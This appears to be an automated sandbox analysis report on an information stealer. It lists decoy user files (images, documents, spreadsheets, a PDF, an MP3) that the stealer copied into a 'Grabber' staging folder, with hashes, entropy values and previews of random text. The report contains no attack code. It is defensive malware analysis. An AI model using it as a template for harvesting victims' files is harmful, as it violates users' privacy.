Preview:	ZGGKNSUKOPMPPNHVZHJQGVEFQIYKECDTBUUNZDYNGQNIRYRWHUTXXPSHQTZPTZVHQXNNQJMVUKUOXVGORIAYJGXFFBGSTKCIJZKEQXQQIVFFMJLOMJSXIEOLRGDCSILZBJCYZNNVATINEQDJPDYKYEGAQWQMEKFVPOYVPNSSIUTCUVWRTSGVMOYKONZJJHVYYHDVZQPBVLAEYYFULQVIAJCQYCDCEGDPRRLXXZXFIPXZYSZYOHEAPCISCQQIAXVPAQUVHGATHPNBNNZVCLFBZBDBZXOQODZLPUONDHVUIQLSZFYHOZHZHEGULYTEVGGLQVDEJVLJEVPQFWMTICLCXTQWMOFFAXIMODRSEVRDYZWTZFYKVZAJEAQBNILURHKTJBNMYKYFSYGEEBYTRKZAHNYHNKUVIQXUDTDSCKKVFAHEOCHUYENGZNJLYIKKSHPNCIQVEDXXJBQWLPTRWDPYUIEDKEYQXNAFVHZZHVLORWXSFDRTMIHTRSJAHAAHMDOMCQGDKDFHBNGVZQTTCSWSPIHCTQXSLLYZTFMEMACZONDWHGUSVOCWSBRSQZPAKSJHSWPMXYNSVNZCBVQSSDMAXHBCCABCBJMXUBBMSGLUNDNJSGZUMDVFIJNOELGIFULZKPJDVNZQPDOWCXYQGTVJKDHOFHYVKNSZDNMILUISTCTZRFSEWRMDZLOBGFMXNVDCJYYLJUDJGSTSUEEGOSENKRNGXAGHHNOGGDSDRGIFROBPWJOCJPXDATRXEPUOWMBLLOQTSWYHGAJBORDMNUEAHWTKUYXIIPMYCMRMTPBVKTCXSHVYJOWCUSTTUMTZOYSOSDSUBSGMLOTYCZCTXANUCXZOADEOEJYBCLEULBLYXGMGORWYBNIGNRUWJATDKWTNSTJBVFQENEPZJCVWRRMXFFHEBPBGQZTDBCCMCQDYUYICLUZKGYRMAVIURGHOINFOGSJSSMACWITEPVYEMKEJTPCQQMYWOBTBOCHUSNOE

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\ZIPXYXWIOY.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697427014915338
Encrypted:	false
SSDEEP:	24:J87vGcgdreYqco0NFLg5eIatTFj9qVUq2Z:J83gAYq8NFRtx7Z
MD5:	2D7ACA56B5F340F28DD1D2B46D700BA6
SHA1:	3966684FF029665614B8DC948349178FB9E8C078
SHA-256:	B227E5E45D28AC063349BC70CC01A3F6DB15C101432A8609E0202064F7E5936D
SHA-512:	D4BFC2BB839DAEBAE8C894A0B8EB2314D2BE0304C82EB89BE16D6C820874952534CE0D93AE62EEF3DD2BE8A4D1E828B883E50BD204D04624AB945119D2FAB4F0
Malicious:	false
Preview:	ZIPXYXWIOYFFJDUIEBFLHIUBYNNMJGYPFQONGOLQHGMFRFYQGSVGNDSCQJYWDCIKWJWNYHFUEMJVEPAFIPAROVFAVARCOHESRJKUIUYDXNZOERBEQGHQNKYMVMEEMKKKEYXXPAKWYGCIXNFSVDOOEUTNGSDXMYEZKQTRDCZXZXIFSRMNAEPZWJKKYULUPGZCQORNOJBGAAOPLYNJCPFWSASJWTLALTQZLWOGFWQVOXGYBCMNEBDESHLNZZBETDIGNLTNPZEPEQAMYCNYWEKKQKDVZPNYLWAFZIPSSVNHOPUMIBTFXVVCNCPUSOKETVBDNZLCRKBRLGSHFSQLECHUOWGFFEMDWHASNSMAXKZZMDLZVQLADFBDUCCIJERQXKRXUCTKGDGKPESHHXUPKZSGNKOITMVITFCBELJVTCKENQCMCJEDZJDQDSKAYFGQEYICXDUOIJRYIMVXRKNBYXQEHUHYSPGEDSJBOQNXHFTSSRTPOXDVFXEPQUGWNEAKZJOKYPEYKXMOMKTKOBVISHMUGELPJCXBYNEXOAWOXHSEELVSCFMZYAMOLTGIWURMTZTRNGMWQZBRQHAIXVJIAFPZGWJZIOQLOAXJSGKMZNZCAVJWFGUFMQWQICMPVNAYRUHAMQLWLJMBERSFPEZHMNVAZFQAJEGYJQOMQWFTQVXZYTDPYVGZZPSNSOJWWKZDRPZKGTXYSENWOIQFXDIRWPJEYALOOEYQPHOPKSIZFNHPOXOKSTDVPNBSCDDKPOUVXMFBUNBMEUYGOSYMHMUNKKADTAEIUEMXYPOPMUVBHTBVKYAHHJXFUJPFZJZARAFLARBIWKXMNKXJLVBLJSZYYVIBZHROONQENYZGGMMETTMOFHCCQNUHPDEUTVVGUDBCKVXVUMRWPGZIPPUXJEJQIEQWLBUQBUODMWPSBFOYIQZWMYWPHWSKTRCKCRXWZUOTDTDRLLUSSQZXZZEATFSHBUWQUYHDLRMVVWFCPAZNSBXA

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	402
Entropy (8bit):	3.493087299556618
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmUclLwr2FlDmo0IWF9klrgl2FlDmo0qjKAev:QCGwv4o0hlLwiF4o0UUsF4o01AM
MD5:	ECF88F261853FE08D58E2E903220DA14
SHA1:	F72807A9E081906654AE196605E681D5938A2E6C
SHA-256:	CAFEC240D998E4B6E92AD1329CD417E8E9CBD73157488889FD93A542DE4A4844
SHA-512:	82C1C3DD163FBF7111C7EF5043B009DAFC320C0C5E088DEC16C835352C5FFB7D03C5829F65A9FF1DC357BAE97E8D2F9C3FC1E531FE193E84811FB8C62888A36B
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.7.0.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.1.2.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.5.....

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\BJZFPPWAPT.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\BJZFPPWAPT.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\DUUDTUBZFW.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\DUUDTUBZFW.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\EOWRVPQCCS.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
Preview:	EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMNJORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\EWZCVGNOWT.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690071120548773
Encrypted:	false
SSDEEP:	24:Hpi2eIMaeHmnj0AhtUkcnKCORSCQH8qvLrUo:Hs2e4njIkc6xQH8qvv5
MD5:	8F49644C9029260CF4D4802C90BA5CED
SHA1:	0A49DD925EF88BDEA0737A4151625525E247D315
SHA-256:	C666CACFDB412CE2BC653F9E2F19484DE94216D950F8C304D1F1F8ADD2EE32CE
SHA-512:	CA63EE1758AFE40FB8569FB3FF5A52BED8A593DC163F5F2462CEBFE1EA4F3F7AB4561435912279C4371944F7C63068D7474AB9F38492F34567E10E5188338C7E
Malicious:	false
Preview:	EWZCVGNOWTCRGCAHGHIARWHBREQUWUMDZTEFKOZTBZKDHTGWOMOMXQJLCILTVOXJTWXEZRFVVOJJDUXCZNNWMUHQTYLHFYPOOBFJLGZGDSYZASNMWULDKVPIBSBESQVOBWTJCIQCCRZOQSMEFZAEOCFIPUXIHTROYFKQUTFSAUWBWISJHTVIQQEEIJVJHOBGZOPHDRBICMJCZJYKKJVLBUSHZHJSFDMYEGPBFRDSFIJIUADWYUWFSOFGQCFBFZHQMDWRKPFVNPDGQDAXYWPQENYPVCKPJTHAOXRLVMNFIOJBVFWANBCOTBENTFVQZCFBFDBMQUHCCCHMMQUOWSBCZYACVCNJFQKUCOMHGVNGGVDACUHMUYLJZQAKUNMISIRRZWDKBKSCPQEZJBHYOZZAXJVBHPFZNDXVHGWHNSVWMYZWRVIDTUCEOPZZRDVHTZKWHATLUHBDJSDWLCXQNXOWYUDQGZJKCAXDTIVXTBCQYHDKCAAFPJFSMAIFXPBWZRPFPKSDNBTLCMBJVBNHSANLTYRSVYQCPKAVQBYOUIOKJPCSLSZRHROXWWPPNZAAXTNVEINHTCLXLDMDBKYPOGMKCUIRVICNSACARZMRYFMXNDTHABPDGEHGCEAXGZZZNHYOCNFJZCIJNBBNBGAUMIROJJYSLPZARPCRZNPUZHXYZLDLXFPTCUWDLYNUMOSJWAOBYFOHEOOAGSALYXBYBYNOLNVRWYGBMDREEFNSPFBRMCNZKOZYEFYTGCMVSCLNGPIPBUDCPAMQEHOAUUBIQZZVXLYZWJOMBCITZXNLTEPYYRLUUAPJTGKEVKMNIMNQWNLLBUVLJOYGWJXXREBMWKGHQSRPNVJAECVNLXPVKWNPACZWFRCNSRBCRVPAPFJGUCNKUOOMSEURPZQJTKWTBOYFSFQOBHOUCLHWYMZMDGTXJBELWCWSQGBSNYBSEAJYTJCJQBKRUPJLBACULNATKEWAJTPTTOUKYDWVFZCDBMMO

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\GIGIYTFFYT.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.7020597455120665
Encrypted:	false
SSDEEP:	24:Yyd0vLZv9GwBegFWbhTY2P2m1O278kZUU3ZjGaIv:YhLZugsbh0m1bYUpjG9
MD5:	47F4925C44B6916FE1BEE7FBB1ACF777
SHA1:	D7BFAEF09A15A105540FC44D2C307778C0553CE5
SHA-256:	62FB407C253C01957EB5C9ED8075E409FD399C065B6478E5080FDC8573A1AED8
SHA-512:	6B4870B47569942B119533F4C519498D2E7D76FBBD36EC9CAE219BE800864CFA47FC65C98FDDA7D92C0B52F1EA381D7C3D5DC4DE204ABF04CED7F6C43004C1B8
Malicious:	false
Preview:	GIGIYTFFYTJMXILDVGFXDVEFQCHNFYFEULLQEETZRJVMRRJHJRTSPPAOMDMYNAGWNEBMIDVTHKVEEQISBNMPHNFVYDEIXBDPFHYTCLNZABIXDFYKJDBRYRTWDLZOXHMMCFSILUYMHVQPPEGCEUDABQUBALGXBEBBTFQFPGZCSFMMFCTBAMXKOPCAJHDRXWLGLWELWIKNGHWJKDKBDVZPNHUCSZFTPSDHZOUUHUWDVSEAQXIDUUMNXESGKGQYYBWVWCBVILKQLVAXNHJSZYYZUWKUTBRCTNQQXVQCKHLEJIFZFWACZEFAUJYVSEGBIHIZRMKJYWHTJECURPVKKWUKKOFVGYEOSDEDBUWBYBNHTAOSHDXDTPIWBWQANBSHMKUUHFNTKLQLSWCOLNGFZPIBZTKTDJTYYNNHDUOZEFWBJRQDBJTCXGDSCYEYJCUVSMWPBPZCBDOMCVGPOYMXSQANNOXIQBZMOMUCJZXAGIICUFLFDZJOBTEGSAQHEIBBWATDCJXSEIADCNGGARMLYLRJZSIBRRPFAORVDSNHOQWANXTRGLRQZZTEROQRQYBPGYXMSIGOYQMJDIJSQBFLNMQOGKOFUQVIWNLZBQMUSTEPCUCGVOFNLQMYFHDEDLGEYXHBHQNMKSASMZZEYCWBNZKYTKNRWJBUJJTXRIHTHPKRBWIFFKIBKCVEEYOHLCOOBFBXELQKMEOTDDLPFFLMCBOAJRNITAVONLYXBCYITNNXEUAVAVDHVGOGFHPXZDZUUQPRYTGQIFNRRHVDFAGSLTNZENPMFBPWMOHFFCIEPUUGBVHDOBSRPRHEPPLYLJUVAKAYIJRZKMAKRPYDSBIZTPWQFSZBWKYUIQXRDRUUPAWFEQRHVNMAPCFIPTHYPQPAZQNEACARWXUWSRKGERYPPRVAAPAVQYFCPYCRXLJQAMPXGLECYIZDRHPEMJPTXFOJABHMNZZHXHBCYXJEKEEQGKOAGJVHRWOSVEPEFFHDAVPR

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Downloads\GLTYDMDUST.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69569301223482
Encrypted:	false
SSDEEP:	24:P1aJ3UFXnPRRqJn5Ao7J4kXjiut748cX3Gg6hQk:P1aWFX5RQnAuh48cHGg6hQk
MD5:	CA404BEA65D84F58838AF73B2DC67E02
SHA1:	56EDE3A3BF70705B1D42A2AE13F6605057C1E5F6
SHA-256:	4A28C898DF5967827C26FD633CD56275159EF4C4C0193E484E8E8F3E9ECC66B9
SHA-512:	10C144317CDB5A368733346EB8440A986A377916F98BE0E8232E668A8C5E107E06829ADF575751B94D0B0AA37F4CAC48DBD7BC64FFE8DCB140FB033C00CEC721
Malicious:	false
Preview:	GLTYDMDUSTFARDVTDTOSUXWTZPBTWYSDUWRWNQMOYZIOPMOCUVTIJOHJYLHKBCEDWQBIYLQPLFXNZVXOZBIBDNIIHCNZHRIZBCANIAZPBFFJNXGCWLILIHHCYJHZSFIZUUDHFLQEWBBOMWJOZCKSAOAVKAWDPLPLVPHHMTSMKFCHYLMZJYKTJZUGPCSSVJJOKBWSTSLHJSIZZNIHOVEXPMQSKABHGSGHFUWVNTWTGYCLXOQEPAIEYRMLWJNNZHEPKXAHFKJUQHDHBHMPKXFCHXQYMICUKIVHNMPIJURPFBDBUQWHFTUVKPWMJHVOENGHYYNPMJPLPTQKABBVHNTLFXAJUISPUCEXPQFWXNQKGLSPRPJEAIJQZNYNOWAKNLRQHQRIOFXWLXEJZPOKNRPRZQJIGYXOWWZDFNURUOTFOOSKCNYLZXJZIWHYYUTOQRDTTRMPEMHZSRVZISBDQKRQYXAZOKOCTHUJKZWNHJSEMHTCSKCARZUYORNVIXVWTGAWUONMQVDITNHLNLJNREIEBPKELOMXBMEUBFTSVSGBVXSXHICRIGHIFVXWPXMIKKKCBOFCJGKJYZJDAWFCHWCNIMOPOPYUXDESMSSFNZBKRVTKTFPFGCIMVLKPBRKBRZJRHIYUQFAFEODGJZAXKRAFGTBXKKKTOXYTJBCHZWBDPBSBRTICVTUOWNEXJIZFESQAIMINDZJFLHIQSMVIICPGSEVSLVSVPMBXUGAPVVXVNJEBHRRBRPIHKGVJJDRANYKMMFJJBFPKFDJAROFBZANTWLCLSELNCCDRQUPZIMXLCVFZOFWKZYXCLQVRUFHUTIFPNWERRWWXHSVZHEYMHULWKGIIWKBRWODYKIGEPXGOEZXMJVKVNTEOQXZBOZBXYKMUGZUYMELGGHJJVDPONTLTQGITEMXYMMOGRWMQDUHIGHPJWPGIEZDZPFZHQMQKLTBUGJXLBLEGTFQZOXBPYRZFHNMZGVZGRAKFYTWDWWKV

